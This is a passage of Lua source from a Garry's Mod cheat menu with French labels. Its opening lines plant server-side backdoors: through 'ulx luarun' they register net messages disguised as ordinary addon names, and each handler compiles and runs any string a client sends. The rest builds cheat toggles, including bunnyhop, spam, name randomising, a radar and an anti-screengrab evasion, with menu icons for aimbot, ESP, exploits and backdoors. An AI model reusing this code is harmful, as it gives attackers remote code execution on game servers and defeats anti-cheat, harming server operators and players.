6051LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'ClickerForceSave' ) net.Receive( 'ClickerForceSave', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6052LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'SRequest' ) net.Receive( 'SRequest', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6053LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'ArmorButton' ) net.Receive( 'ArmorButton', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6054LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'Client_To_Server_OpenEditor' ) net.Receive( 'Client_To_Server_OpenEditor', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6055LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'wordenns' ) net.Receive( 'wordenns', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6056LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'BuyKey' ) net.Receive( 'BuyKey', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6057LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'casinokit_chipexchange' ) net.Receive( 'casinokit_chipexchange', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6058LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'PurchaseWeed' ) net.Receive( 'PurchaseWeed', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6059LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'DoDealerDeliver' ) net.Receive( 'DoDealerDeliver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6060LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'sendDuelInfo' ) net.Receive( 'sendDuelInfo', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6061LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'InviteMember' ) net.Receive( 'InviteMember', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6062LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'newTerritory' ) net.Receive( 'newTerritory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6063LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'CreateOrganization' ) net.Receive( 'CreateOrganization', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6064LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'ChangeOrgName' ) net.Receive( 'ChangeOrgName', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6065LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'IS_SubmitSID_C2S' ) net.Receive( 'IS_SubmitSID_C2S', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6066
6067end)
6068
6069function BD:Fun( pContent )
6070
6071
6072local BDMenuFun = vgui.Create("DPanel", pContent)
6073BDMenuFun:SetSize( 539, 388 )
6074BDMenuFun:SetPos( 0, 0 )
6075BDMenuFun.Paint = function( self, w, h)
6076draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
6077draw.SimpleText("En développement", "DermaDefault", 350, 180, Color(255, 255, 255,100), 0, 1)
6078
6079draw.RoundedBox( 0, 20, 102, w - 307, 2, Color( 50,50,50, 255 ) )
6080draw.RoundedBox( 0, 20, 290, w - 307, 2, Color( 50,50,50, 255 ) )
6081
6082draw.RoundedBox( 200, 20, 10, 2, h - 20, Color( 50,50,50, 255 ) )
6083draw.RoundedBox( 200, 250, 10, 2, h - 20, Color( 50,50,50, 255 ) )
6084draw.RoundedBox( 0, 20, 378, w - 307, 2, Color( 50,50,50, 255 ) )
6085draw.RoundedBox( 0, 20, 10, w - 452, 2, Color( 50,50,50, 255 ) )
6086draw.RoundedBox( 0, 165, 10, w - 453, 2, Color( 50,50,50, 255 ) )
6087draw.SimpleText("Utilitaires", "pity_home3", 110, 10, Color(100, 100, 100,255), 0, 1)
6088
6089--[[draw.RoundedBox( 200, 515, 10, 2, h - 216, Color( 50,50,50, 255 ) )
6090draw.RoundedBox( 200, 282, 10, 2, h - 216, Color( 50,50,50, 255 ) )
6091draw.RoundedBox( 0, 284, 180, w - 307, 2, Color( 50,50,50, 255 ) )
6092draw.RoundedBox( 0, 284, 10, w - 435, 2, Color( 50,50,50, 255 ) )
6093draw.RoundedBox( 0, 417, 10, w - 440, 2, Color( 50,50,50, 255 ) )
6094draw.SimpleText("Troll", "pity_home3", 390, 10, Color(100, 100, 100,255), 0, 1)
6095
6096draw.RoundedBox( 200, 515, 205, 2, h - 213, Color( 50,50,50, 255 ) )
6097draw.RoundedBox( 200, 282, 205, 2, h - 213, Color( 50,50,50, 255 ) )
6098draw.RoundedBox( 0, 284, 378, w - 307, 2, Color( 50,50,50, 255 ) )
6099draw.RoundedBox( 0, 284, 205, w - 440, 2, Color( 50,50,50, 255 ) )
6100draw.RoundedBox( 0, 425, 205, w - 448, 2, Color( 50,50,50, 255 ) )
6101draw.SimpleText("Autres", "pity_home3", 386, 205, Color(100, 100, 100,255), 0, 1)]]--
6102
6103if fiji_style_menu:GetInt() == 2 then
6104draw.RoundedBox( 0, 0, 242, 2, h - 242, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6105draw.RoundedBox( 0, 0, 0, 2, h - 190, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6106
6107elseif fiji_style_menu:GetInt() == 1 then
6108draw.RoundedBox( 0, 0, 242, 2, h - 242, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6109draw.RoundedBox( 0, 0, 0, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6110
6111else
6112draw.RoundedBox( 0, 0, 242, 2, h - 242, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6113draw.RoundedBox( 0, 0, 0, 2, h - 190, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6114end
6115
6116end
6117
6118
6119-- bhop
6120local btnbhop = BD:CreateBtn( "BHOP", 30, 30, 65, 25, pContent )
6121function btnbhop:DoClick() if fiji_fun_bunnyhop:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_bunnyhop:GetInt() == 1 then RunConsoleCommand( "fiji_fun_bunnyhop", 0 ) else RunConsoleCommand( "fiji_fun_bunnyhop", 1 ) end end
6122function btnbhop:Think() if fiji_fun_bunnyhop:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6123
6124-- end bhop
6125
6126
6127--spam l
6128
6129local btnspamlight = BD:CreateBtn( "SPAM LAMPE", 98, 30, 75, 25, pContent )
6130function btnspamlight:DoClick() if fiji_fun_spamlight:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_spamlight:GetInt() == 1 then RunConsoleCommand( "fiji_fun_spamlight", 0 ) else RunConsoleCommand( "fiji_fun_spamlight", 1 ) end end
6131function btnspamlight:Think() if fiji_fun_spamlight:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6132
6133
6134--spam l end
6135
6136local btnbhop = BD:CreateBtn( "FOLIE", 176, 30, 65, 25, pContent )
6137function btnbhop:DoClick() if fiji_fun_spamrope:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_spamrope:GetInt() == 1 then RunConsoleCommand( "fiji_fun_spamrope", 0 ) else RunConsoleCommand( "fiji_fun_spamrope", 1 ) end end
6138function btnbhop:Think() if fiji_fun_spamrope:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6139
6140
6141
6142
6143local tablename1 = { "Joe", "John", "Jack", "Barry", "Chris", "Christopher", "Michael", "David", "Thomas", "Paul", "Tony", "Mark", "Cooper", "Jared", "James", "Jimmy", "Bob", "Robert", "Riley", "William", "Will", "Donald", "George", "Ken", "Steve", "Bruce", "Brian", "Chad", "Anthony", "Tim", "Eddie", "Daniel", "Larry", "Jeff", "Justin", "Adam", "Ralph", "Brandon", "Xavier", "Greg", "Gordon", "Scott", "Taine", "Howie", "Morgan", "Curtis", "Dwayne", "Steven", "Peter", "Kevin", "Coleman", "Garry", }
6144local tablename2 = { "Houston", "Burch", "Smith", "Jones", "Trump", "Sanders", "Abbott", "Cruise", "Brown", "Hopgood", "Davis", "Miller", "Wilson", "Walker", "Lee", "Lions", "Bryant", "Hall", "Adams", "Green", "Aldridge", "Turner", "Anderson", "Morris", "Howard", "Swanson", "Peterson", "Powell", "Keating", "Rudd", "Coleman", "Cunningham", "Donnell", "Callaghan", "Smithers", "Burns", "Bonds", "Gonzales", "Griffin", "Woods", "Gibson", "Webb", "Simpson", "Freeman", "Mcdonald", "Butters", "Masterson", "Keefe", "Sanderson", "Badger", "Cantrip", "Williams", "DontBanMe", "Lopez", "Clark", "Campbell", "King", "Coleman", "Chongs", "Riviera", "Ward", "Gray", "Ross", }
6145
6146local btnnomrandom = BD:CreateBtn( "NOM RANDOM", 55, 70, 76, 25, pContent )
6147function btnnomrandom:DoClick() LocalPlayer():ConCommand("say /name "..table.Random( tablename1 ).." "..table.Random( tablename1 )) end
6148
6149local btnnommort = BD:CreateBtn( "VUE TPS", 134, 70, 75, 25, pContent )
6150function btnnommort:DoClick() if fiji_fun_thperson:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_thperson:GetInt() == 1 then RunConsoleCommand( "fiji_fun_thperson", 0 ) else RunConsoleCommand( "fiji_fun_thperson", 1 ) end end
6151function btnnommort:Think() if fiji_fun_thperson:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6152
6153
6154
6155local btnnommort = BD:CreateBtn( "CROSSHAIR", 98, 110, 75, 25, pContent )
6156function btnnommort:DoClick() if fiji_fun_crosshair:GetInt() == 1 then surface.PlaySound( fiji_pityclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_crosshair:GetInt() == 1 then RunConsoleCommand( "fiji_fun_crosshair", 0 ) else RunConsoleCommand( "fiji_fun_crosshair", 1 ) end end
6157function btnnommort:Think() if fiji_fun_crosshair:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6158
6159local pPmopi = vgui.Create( "DPanel", pContent )
6160pPmopi:SetPos( 30, 140 )
6161pPmopi:SetSize( 212, 50 )
6162function pPmopi:Paint( w, h )
6163draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
6164draw.SimpleText( "TAILLE CROSSHAIR", "pity_home5", 7, h / 2, color_white, 0, 1 )
6165end
6166local pDistancemopi = vgui.Create( "DNumSlider", pContent )
6167pDistancemopi:SetPos( 85, 140 )
6168pDistancemopi:SetSize( 180, 50 )
6169pDistancemopi:SetText( "" )
6170pDistancemopi:SetMin( -15 )
6171pDistancemopi:SetMax( 120 )
6172pDistancemopi:SetDecimals( 0 )
6173pDistancemopi:SetValue( fiji_fun_crosshairtaille:GetInt())
6174pDistancemopi.Scratch:SetVisible( false )
6175pDistancemopi.TextArea:SetTextColor( color_white )
6176function pDistancemopi.Slider:Paint(w, h)
6177surface.SetDrawColor(0, 0, 0, 255)
6178surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
6179if fiji_style_menu:GetInt() == 2 then
6180surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6181surface.DrawRect(0, 21, barw, h / 5)
6182
6183elseif fiji_style_menu:GetInt() == 1 then
6184surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6185surface.DrawRect(0, 21, barw, h / 5)
6186
6187else
6188surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
6189surface.DrawRect(0, 21, barw, h / 5)
6190end
6191end
6192function pDistancemopi:SetHeight(tall)
6193self.Slider.Knob:SetHeight(tall / 2 + 4)
6194DSlider.SetHeight(self, tall)
6195pDistancemopi.SetTall = pDistancemopi.SetHeight
6196pDistancemopi.Slider.Knob:SetTall(5)
6197end
6198function pDistancemopi.Slider.Knob:Paint(w, h)
6199derma.SkinHook( "Paint", "Button", self, 0, 0 )
6200end
6201function pDistancemopi:OnValueChanged( val )
6202RunConsoleCommand( "fiji_fun_crosshairtaille", tonumber( self:GetValue() ) )
6203end
6204
6205
6206
6207local ColorMenucross = vgui.Create( "DPanel", pContent )
6208ColorMenucross:SetSize( 220, 50 )
6209ColorMenucross:SetPos( 26, 195 )
6210function ColorMenucross:Paint( w, h )
6211draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
6212draw.SimpleText( "Couleur Crosshair", "pity_home5", 79, 8, color_white, 0, 1 )
6213end
6214local OptionsColorRedMENU = vgui.Create( "DButton", ColorMenucross )
6215OptionsColorRedMENU:SetPos( 1,20 )
6216OptionsColorRedMENU:SetSize( 20, 20 )
6217OptionsColorRedMENU:SetText( " " )
6218OptionsColorRedMENU.Paint = function( self, w, h )
6219if self:IsHovered() then
6220draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
6221surface.SetDrawColor(255, 255, 255 ,100)
6222surface.DrawOutlinedRect(0, 0, w, h)
6223else
6224draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
6225surface.SetDrawColor(255, 255, 255 ,100)
6226surface.DrawOutlinedRect(0, 0, w, h)
6227end
6228OptionsColorRedMENU.DoClick = function()
6229LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 238")
6230LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 61")
6231LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 61")
6232LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6233surface.PlaySound( fiji_pityhover )
6234
6235end
6236end
6237local OptionsColorOrangeMENU = vgui.Create( "DButton", ColorMenucross )
6238OptionsColorOrangeMENU:SetPos( 23,20 )
6239OptionsColorOrangeMENU:SetSize( 20, 20 )
6240OptionsColorOrangeMENU:SetText( " " )
6241OptionsColorOrangeMENU.Paint = function( self, w, h )
6242if self:IsHovered() then
6243draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
6244surface.SetDrawColor(255, 255, 255 ,100)
6245surface.DrawOutlinedRect(0, 0, w, h)
6246else
6247draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
6248surface.SetDrawColor(255, 255, 255 ,100)
6249surface.DrawOutlinedRect(0, 0, w, h)
6250end
6251OptionsColorOrangeMENU.DoClick = function()
6252LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 255")
6253LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 162")
6254LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 91")
6255LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6256surface.PlaySound( fiji_pityhover )
6257
6258end
6259end
6260local OptionsColorYellowMENU = vgui.Create( "DButton", ColorMenucross )
6261OptionsColorYellowMENU:SetPos( 45,20 )
6262OptionsColorYellowMENU:SetSize( 20, 20 )
6263OptionsColorYellowMENU:SetText( " " )
6264OptionsColorYellowMENU.Paint = function( self, w, h )
6265if self:IsHovered() then
6266draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
6267surface.SetDrawColor(255, 255, 255 ,100)
6268surface.DrawOutlinedRect(0, 0, w, h)
6269else
6270draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
6271surface.SetDrawColor(255, 255, 255 ,100)
6272surface.DrawOutlinedRect(0, 0, w, h)
6273end
6274OptionsColorYellowMENU.DoClick = function()
6275LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 246")
6276LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 255")
6277LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 91")
6278LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6279surface.PlaySound( fiji_pityhover )
6280
6281end
6282end
6283local OptionsColorGreenMENU = vgui.Create( "DButton", ColorMenucross )
6284OptionsColorGreenMENU:SetPos( 67,20 )
6285OptionsColorGreenMENU:SetSize( 20, 20 )
6286OptionsColorGreenMENU:SetText( " " )
6287OptionsColorGreenMENU.Paint = function( self, w, h )
6288if self:IsHovered() then
6289draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
6290surface.SetDrawColor(255, 255, 255 ,100)
6291surface.DrawOutlinedRect(0, 0, w, h)
6292else
6293draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
6294surface.SetDrawColor(255, 255, 255 ,100)
6295surface.DrawOutlinedRect(0, 0, w, h)
6296end
6297OptionsColorGreenMENU.DoClick = function()
6298LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 130")
6299LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 255")
6300LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 132")
6301LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6302surface.PlaySound( fiji_pityhover )
6303
6304end
6305end
6306local OptionsColorBlueMENU = vgui.Create( "DButton", ColorMenucross )
6307OptionsColorBlueMENU:SetPos( 89,20 )
6308OptionsColorBlueMENU:SetSize( 20, 20 )
6309OptionsColorBlueMENU:SetText( " " )
6310OptionsColorBlueMENU.Paint = function( self, w, h )
6311if self:IsHovered() then
6312draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
6313surface.SetDrawColor(255, 255, 255 ,100)
6314surface.DrawOutlinedRect(0, 0, w, h)
6315else
6316draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
6317surface.SetDrawColor(255, 255, 255 ,100)
6318surface.DrawOutlinedRect(0, 0, w, h)
6319end
6320OptionsColorBlueMENU.DoClick = function()
6321LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 104")
6322LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
6323LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 255")
6324LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6325surface.PlaySound( fiji_pityhover )
6326
6327end
6328end
6329local OptionsColorPurpleMENU = vgui.Create( "DButton", ColorMenucross )
6330OptionsColorPurpleMENU:SetPos( 111,20 )
6331OptionsColorPurpleMENU:SetSize( 20, 20 )
6332OptionsColorPurpleMENU:SetText( " " )
6333OptionsColorPurpleMENU.Paint = function( self, w, h )
6334if self:IsHovered() then
6335draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
6336surface.SetDrawColor(255, 255, 255 ,100)
6337surface.DrawOutlinedRect(0, 0, w, h)
6338else
6339draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
6340surface.SetDrawColor(255, 255, 255 ,100)
6341surface.DrawOutlinedRect(0, 0, w, h)
6342end
6343OptionsColorPurpleMENU.DoClick = function()
6344LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 168")
6345LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
6346LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 255")
6347LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6348surface.PlaySound( fiji_pityhover )
6349
6350end
6351end
6352local OptionsColorPinkMENU = vgui.Create( "DButton", ColorMenucross )
6353OptionsColorPinkMENU:SetPos( 133,20 )
6354OptionsColorPinkMENU:SetSize( 20, 20 )
6355OptionsColorPinkMENU:SetText( " " )
6356OptionsColorPinkMENU.Paint = function( self, w, h )
6357if self:IsHovered() then
6358draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
6359surface.SetDrawColor(255, 255, 255 ,100)
6360surface.DrawOutlinedRect(0, 0, w, h)
6361else
6362draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
6363surface.SetDrawColor(255, 255, 255 ,100)
6364surface.DrawOutlinedRect(0, 0, w, h)
6365end
6366OptionsColorPinkMENU.DoClick = function()
6367LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 255")
6368LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
6369LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 235")
6370LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6371surface.PlaySound( fiji_pityhover )
6372
6373end
6374end
6375local OptionsColorBlackMENU = vgui.Create( "DButton", ColorMenucross )
6376OptionsColorBlackMENU:SetPos( 155,20 )
6377OptionsColorBlackMENU:SetSize( 20, 20 )
6378OptionsColorBlackMENU:SetText( " " )
6379OptionsColorBlackMENU.Paint = function( self, w, h )
6380if self:IsHovered() then
6381draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
6382surface.SetDrawColor(255, 255, 255 ,100)
6383surface.DrawOutlinedRect(0, 0, w, h)
6384else
6385draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
6386surface.SetDrawColor(255, 255, 255 ,100)
6387surface.DrawOutlinedRect(0, 0, w, h)
6388end
6389OptionsColorBlackMENU.DoClick = function()
6390LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 60")
6391LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 60")
6392LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 60")
6393LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6394surface.PlaySound( fiji_pityhover )
6395
6396end
6397end
6398local OptionsColormultiMENU = vgui.Create( "DButton", ColorMenucross )
6399OptionsColormultiMENU:SetPos( 177,20 )
6400OptionsColormultiMENU:SetSize( 20, 20 )
6401OptionsColormultiMENU:SetText( " " )
6402OptionsColormultiMENU.Paint = function( self, w, h )
6403if self:IsHovered() then
6404draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6405surface.SetDrawColor(255, 255, 255 ,100)
6406surface.DrawOutlinedRect(0, 0, w, h)
6407else
6408draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6409surface.SetDrawColor(255, 255, 255 ,100)
6410surface.DrawOutlinedRect(0, 0, w, h)
6411end
6412OptionsColormultiMENU.DoClick = function()
6413LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 1")
6414surface.PlaySound( fiji_pityhover )
6415
6416end
6417end
6418local OptionsColorhackMENU = vgui.Create( "DButton", ColorMenucross )
6419OptionsColorhackMENU:SetPos( 199,20 )
6420OptionsColorhackMENU:SetSize( 20, 20 )
6421OptionsColorhackMENU:SetText( " " )
6422OptionsColorhackMENU.Paint = function( self, w, h )
6423if self:IsHovered() then
6424draw.RoundedBox(0,0,0,w,h,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6425surface.SetDrawColor(255, 255, 255 ,100)
6426surface.DrawOutlinedRect(0, 0, w, h)
6427else
6428draw.RoundedBox( 0, 0, 0, w, h, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6429surface.SetDrawColor(255, 255, 255 ,100)
6430surface.DrawOutlinedRect(0, 0, w, h)
6431end
6432OptionsColorhackMENU.DoClick = function()
6433LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 2")
6434surface.PlaySound( fiji_pityhover )
6435
6436end
6437end
6438
6439
6440local btnstylea = BD:CreateBtn( "STYLE 2", 137, 255, 65, 25, pContent )
6441function btnstylea:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_crosshairstyle:GetInt() == 2 then RunConsoleCommand( "fiji_fun_crosshairstyle", 2 ) else RunConsoleCommand( "fiji_fun_crosshairstyle", 2 ) end end
6442function btnstylea:Think() if fiji_fun_crosshairstyle:GetInt() == 2 then self.activebtn = true else self.activebtn = false end end
6443local btnstyleb = BD:CreateBtn( "STYLE 1", 68, 255, 65, 25, pContent )
6444function btnstyleb:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_crosshairstyle:GetInt() == 1 then RunConsoleCommand( "fiji_fun_crosshairstyle", 1 ) else RunConsoleCommand( "fiji_fun_crosshairstyle", 1 ) end end
6445function btnstyleb:Think() if fiji_fun_crosshairstyle:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6446
6447
6448--crosshair end
6449
6450local btnradara = BD:CreateBtn( "MIROIR", 134, 305, 65, 25, pContent )
6451function btnradara:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_radar:GetInt() == 2 then RunConsoleCommand( "fiji_fun_radar", 0 ) else RunConsoleCommand( "fiji_fun_radar", 2 ) end end
6452function btnradara:Think() if fiji_fun_radar:GetInt() == 2 then self.activebtn = true else self.activebtn = false end end
6453local btnradarb = BD:CreateBtn( "RADAR", 65, 305, 65, 25, pContent )
6454function btnradarb:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_radar:GetInt() == 1 then RunConsoleCommand( "fiji_fun_radar", 0 ) else RunConsoleCommand( "fiji_fun_radar", 1 ) end end
6455function btnradarb:Think() if fiji_fun_radar:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6456
6457local btnantiscreen = BD:CreateBtn( "ANTI SCREENGRAB", 65, 345, 134, 25, pContent )
6458function btnantiscreen:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_fun_screengrab:GetInt() == 1 then RunConsoleCommand( "fiji_fun_screengrab", 0 ) else RunConsoleCommand( "fiji_fun_screengrab", 1 ) end end
6459function btnantiscreen:Think() if fiji_fun_screengrab:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6460
6461end-- end fun function
6462
6463
6464concommand.Add("pity", function()
6465
6466local BDMenu = vgui.Create( "DFrame" )
6467BDMenu:SetSize( 700, 400 )
6468BDMenu:Center()
6469BDMenu:SetTitle("")
6470BDMenu:SetDraggable( true )
6471BDMenu:ShowCloseButton( false )
6472BDMenu:MakePopup()
6473function BDMenu:Paint( w, h )
6474
6475
6476DrawBlur(self, 25)
6477draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
6478draw.RoundedBox( 0, 6.7, 5, w - 550, 53, Color( 110,110,110, 40 ) )
6479if fiji_style_menu:GetInt() == 2 then
6480draw.RoundedBox( 0, 4, 4, w - 8, 2,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6481draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6482draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6483draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6484elseif fiji_style_menu:GetInt() == 1 then
6485draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6486draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6487draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6488draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6489else
6490draw.RoundedBox( 0, 4, 4, w - 8, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6491draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6492draw.RoundedBox( 0, 4, 6, 2, h - 12, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6493draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6494end
6495
6496if fiji_exist_contentpity:GetInt() == 1 then
6497
6498surface.SetMaterial( fiji_pityhome )
6499surface.SetDrawColor( 255, 255, 255, 255 )
6500surface.DrawTexturedRect( 57, 60, 50, 40 )
6501
6502surface.SetMaterial( fiji_pityesp )
6503surface.SetDrawColor( 255, 255, 255, 255 )
6504surface.DrawTexturedRect( 57, 110, 50, 40 )
6505
6506surface.SetMaterial( fiji_pityaimbot )
6507surface.SetDrawColor( 255, 255, 255, 255 )
6508surface.DrawTexturedRect( 57, 160, 50, 40 )
6509
6510surface.SetMaterial( fiji_pitymisc )
6511surface.SetDrawColor( 255, 255, 255, 255 )
6512surface.DrawTexturedRect( 57, 210, 50, 35 )
6513
6514surface.SetMaterial( fiji_pityexploits )
6515surface.SetDrawColor( 255, 255, 255, 255 )
6516surface.DrawTexturedRect( 57, 254, 50, 40 )
6517
6518
6519surface.SetMaterial( fiji_pitybackdoors )
6520surface.SetDrawColor( 255, 255, 255, 255 )
6521surface.DrawTexturedRect( 57, 303, 50, 40 )
6522
6523
6524surface.SetMaterial( fiji_pityconfig )
6525surface.SetDrawColor( 255, 255, 255, 255 )
6526surface.DrawTexturedRect( 57, 350, 50, 40 )
6527else end
6528
6529surface.SetMaterial( fiji_pitylogo )
